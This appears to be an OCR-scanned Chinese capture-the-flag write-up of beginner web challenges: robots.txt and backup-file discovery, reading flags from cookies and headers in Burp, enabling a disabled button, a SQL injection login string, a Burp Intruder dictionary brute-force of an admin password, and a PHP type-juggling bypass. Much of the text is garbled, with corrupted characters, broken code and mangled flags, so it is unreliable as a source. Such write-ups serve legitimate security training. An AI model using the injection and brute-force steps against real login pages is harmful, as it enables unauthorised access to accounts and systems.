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<html >
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< C O AZ&%| 159.138.137.79:59357/robots.txt

User-agent: *
Disallow:
Disallow: flag ls hire.php

Fxtflag.. #AT V5 ]
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User-agent: Zn 0 A 122 5] WK NCITHUR, A IFEERR, SO E RS — A 80 3 48 2 51 SRk R IRATHNEL, WnE R
Baiduspider, ##k/&Googlebot.

back up

phpfI &t B FFl: .php~FAl.php.bak
B MBS AR AR A SO, FEHBBERS B R M0 _E/index.php~BR/index.php.bak, B F 758 3 & 43 34

#INT php.bak J5 A T T A3, RIBEAITIF & Hfag

{style>
] body {
. margin—left:auto;
| margin-right:auto;
“ margin—TOP:200PX;
il width:20em:

}

{/style>
</head>
<body>
<h3DYRE01E index. php IR S HERZIE? </h3>
<{?php
S AET=MCyberpeace {855A104B3401294CB6604CCC98BDE334} §
7>
“<Ubody>
</html>
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I ﬂ Elements Console Sources Network Performance Memory Application Security
iplication = C Filter
B Manifest Name Value
%X Service Workers MCITY -315%3A317%3A
B Clear storage delPer 0
H_P5_PSSID 1447_31120_21087_31186_30904_31218_
rage PSTM 1565088070
£2 Local Storage PSINO 3
== Session Storage BIDUPSID A33DCACTIDESDDFBOF833D3C18163B5
Cavd > = H - BAIDUID A33DCACT7SDESDDFBYFB33D3C18163B5
{RFNEAEcookield? € indereaos
= WebsaL BDORZ B490B5EBFEF3CD402E515D22BCDA1598
@ Cookies BDRCVFRIfeWj 1¥r5u3D] 167%6TjHuwY 70
@ ntp//150.138.137.79:52072 LDENTRY baidu
lock-here cookie.php
e __cfduid d351a924e50c66077fed33fdbd0b544471
BDUSS nZxM100eE9RLUpBakpaUXREUKMxOUU;
£ Cache Storage
£E Application Cache -
cookie.php
ckground Services
3 Background Fetch
& Background Sync
! Notifications
B Payment Handler
& Push Messaging
R IL—A-cookie.phpHISCE, X B REAT Vi
] . .
&« C ©® F&£| 159.138.137.79:52972/cookie.php
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Burp Intruder Repeater Window Help
[Target T Proxy I Spider I Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer I Extender T Project options T User options T

< |v > |

Go Cancel

Request

J FiawT Params T Headers I Hex ]

Target: h

Response

J Raw T Headers T Hex T HTML I Render ]

GET /cookie.php HTTRE/L.1
Host: 159.138.137.79:52972
Cache-Control: max-ags=0
Upgrade-Insecure-FRequests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x£4)
AppleWebKit/537.3€ (KHTHML, like Gecko)

Safari/537.36
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/ webp
,image/apng, */ *;q=0.8, application/signed-exchange;v=h3;q=0.9

Aecept-Languages: zh-CN, zh;q=0.9
Cookie: look-here=coockie.php
Connection: close

BIh 15 2lflag

HTTE/1l.1 Z00 OE
Date: Fri, 10 Apr Z0Z0 leg:40:41 GI
Server: Apache/2.4.7 (Ubuntu)

Iflag: cyberpeace{Ee:alﬁealb?ddﬂ?ﬂi

Vary: Accept-Encoding
Content-Length: 411
Connection: close
Content-Type: text/html

e

Chromwe/80.0.3987. L&2

O<htrmls>
<head>
<meta charset="UTF-5">
<title>Cookie</title>
<link
href="http://libs.baidu.com/bootst
min.css"” rel="styleshest" />

FLSERITT 45 A bpsxet W4 TUE AT SIUEL I 4 3 BE % 2 FL T/ cookie.php
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Target | Broxy I Spider T Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer T Extender I Project option:

J Intercept I HTTP history IWehSo—:kets history T Options ]

|
@ Request to http://159.138.137.79:52972

[ Forward J l Drop

J FiawI Params T Headers I Hex ]

J [ Intercept is on ] Action

GET /cookie.php HTTRE/L.1
Host: 159.138.137.79:52972
Cache-Control: max-ags=0
Upgrade-Insecure-FRequests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£4) AppleWebKEit/537.36

Accept:

(FHTHML, lilke Gecko)

text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */ *;=0.8, applic

Aecept-Languages: zh-CN, zh;q=0.9
Cookie: look-here=coockie.php
Connection: close



disabled button

THARE LR, #EANEES
Fg—: ¥disableMii
Ji . ¥disabled s ‘disable=false”

C O 72| 159.138.137.79:64127

[x ﬂ Elements Console Sources Network Performar

<html>
¥ <head>
<meta charset="UTF-8">
<title>— P REIRRIIEH < /titles
<link href="http://libs.baidu.com/bootstrap/3.8.3/css /b
»<styles.</style>

</head>
¥ <body>
<h3>— PRI RII% < /h3>
=+  ¥<form action method="post”> == %@
—'/I\Z:LH‘E}EE'\J}E%H {f;:';:[;ticlassf'btn btn-default” style="height:
</body>
flag </html>

— P ABEIRHYR

flag

cyberpeace{1e3214042ec2f78

FEiEflagii T LAEE T

s BB Al 5 K, BRAR AT AT
(D BEZHNAT R
document.getElementByld(“bt1”).disabled=ture;
(2) BB T F
document.getElementByld(“bt1”).disabled=false;

REE A4, BEHHdisable=false/EflagfTiE M i
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Login

username
password

login

reset

EFEXANTEBREEFGEFELIRT —F (admin/ or‘1'="1)
N

k.php

159.138.137.79:55731 &7~

password errar

BRI, §50LHATR
550474

https://github.com/rootphantomer/Blasting_dictionary
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<html lang="en">
<head>
<{meta charset="UTF-8">
<titlerweak auth</titled
</head>
<hody>

Qo= & N & W N =

-
[=101=]

{geriptralert( please login as admin' ) </script>{!-—mayvbe vou need a dictionarv-—>

-
M=

<Sbady>
<Shtml >
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SR A AR P 44 B SR E1E, & B DU #OE, U HE T A 7 45 2admin

159.138.137.79:60613 &7~

please login as admin

bp#lf——action——send to intruder——position (fEpassword BN L5, Nid4 5 i 23R 1 = password i A&
admin) ——payloads——add = #ii——start attack
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Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner Ilﬂtﬂldef T Repeater I Sequencer I Decoder ‘[ Comparer I Extender I Project options I User options IA'SI’T.S ]

1= ]2« | ..

[Target I Positions T Payloads I Options ]

@ Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

Attack type: [Sniper |v]

POST /check.php HTTR/1.1
Host: 159.138.137.79:60613

Add §
Content-Length: Z5 _
Pragma: no-cache Clear §
Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

Auto &
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4:; x€4) AppleWebKit/537.36 (KHTML, like Gecko) ;J
Chrome/80.0.3987.162 Safari/537.3€

Origin: http://159.138.137.79:E0613 Refresh
Content-Type:

application/x—www-form—urlencoded

>

Aoocept:

text/html, application/xhtml4xml, application/xml; q=0.9, images/vebp, image/apng, */ *;q=0.8, application/signed-exc
hange;v=b3;q=0.9

Beferer: http://159.138.137.79: 60613/

Accept-Language: zh-CH, zh;qg=0.9

Connection: close

username=admin&password=5+§

e
v

? < + = Type a search term 0 matches Clear

1 payload position

Length: 616
1 B intruder attack 2 - O P4
I Attack Save Columns
J Results TTarget T Positions I Payloads T Options }
Filter: Showing all items @

| Request 4 | Payload |Status | Emor | Timeout | Length | Comment

0 200 ] [ 434
1 123456.com 200 ] (] 434




2 123123 200 Ol O 434
. 3 idc123l@# 200 O ] 434
904 123 200 Ol O 434
5 aaal23l@# 200 O ] 434
3 qq123.com 200 Ol O 434
Pll7 123456 200 L] (] 437
2|8 wantian##( 200 O ] 434
9 qwe123 200 ] (] 434 Ff
_J RequestT Respunse]
éj Raw I Params I Headers T Hex }
POST Scheck.php HTTE/L.1 "
Host: 1589.138.137.79:60613 P

Content-Length: 30

Pracgma: no-cache
ﬂCaChe—CDntrDl: no-cache

Upgrade-Insecure-Requests: 1

3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x£64) AppleWebKit/537.3& (KHTHL,

| Chromes/80.0.3987. L2 Safari/537.36
Origin: http://159.138.137.79: 60613
Content-Type: application/x-wwwv-form-urlencoded

B H R FZEIL 123456, HIREFEfag

cyberpeace{2b284f9f31b4ddaaab584cb4e0c4bae90}

bpfE 8% : https://blog.csdn.net/u011781521/article/details/54772795

simple php

<Tphp
show_source(__FILE_ J;
include(“confis. php”);
$a=03_GET[ 2’ 1;
Fp=03_GET[ 1’ 1;
if($a==0 and 3a){
echo $flasl;

}

iflis_numeric(3p)) |
exit();

}

£ (3012340 {
echo $flas2:
}

T

fEl B M ARAD AT A, IR {E e, biss &2 25 1t 7T LA7S Bllflag 1 +flag2
A

if($a==0 and $a){
echo $flagi;

like Gecko)

ZHa==07 Ha Xy K i ttiflag1
=


https://blog.csdn.net/u011781521/article/details/54772795

if(is_numeric($b

exit

if($b>1234
echo $flag2

B WRb BT EF FIHE B
B 2b>1234, i Hiflag2

BN Falih, BRAITUEESE —ANFRadtE, FhagBAEBRER, Froldduig, F/F$ a==0&truef]. 3} Hathtrue
o
StFbRYl, MRIE1235a,NbAREFHE T .. MH1235a% H3E# N1235KF 1234

< C © =2 | 124.126.19.106:52848/?a=a&b=1235a

<Tphp

show_source(_ FILE_ ).

include“confiz. php™);

Fa=0% GET[ 2" 1;

=03 GET[w" 1;

if($a==0 and %a){
echo Jflagl:

)

iflis_numeric (bl {
exit();

)

if(Fbr1234) |
echo Jflag?:
)

T
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LA HARR T %, W LB flag R 7 e R B R E 2 75 IEH
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1. PHPI:P o = ”ﬂ] [T

==" FERAT LRI IR, &5k 77 eh R AR IR, ELER.
B MNBUE 7 RF R AT RO, 208 745 B e B U e

‘===" AT LRI, S EHIWTPIA PR R KRR RS, B

Bl: “admin’==0 LK%, SFadminiLBUE, BmEIEL, B Fadmin 2/ %, #IKERR0B RO,
“ladmin”==1 ELE I 2K 1adminfE 4k Bl , 45 2 8 1;
M admin1“==1 & F4&i%, iR "admin1"##L AL T0;

2. is_numeric() & 3
is_numeric(b)& b A 7 EE B E R/ MEHE, is_numericlIMENE

3. PHPsS kR
php— M EF M — N F A5 B AT LR R E AT IZH N, PHPLIEFAT B s 7 B AT LU, PHPEIIMNIE R 57/ &
DA IRk, WBOUT KB FEAR IR R, AL, A7 RERHEN0. H7aS U8RIk, o
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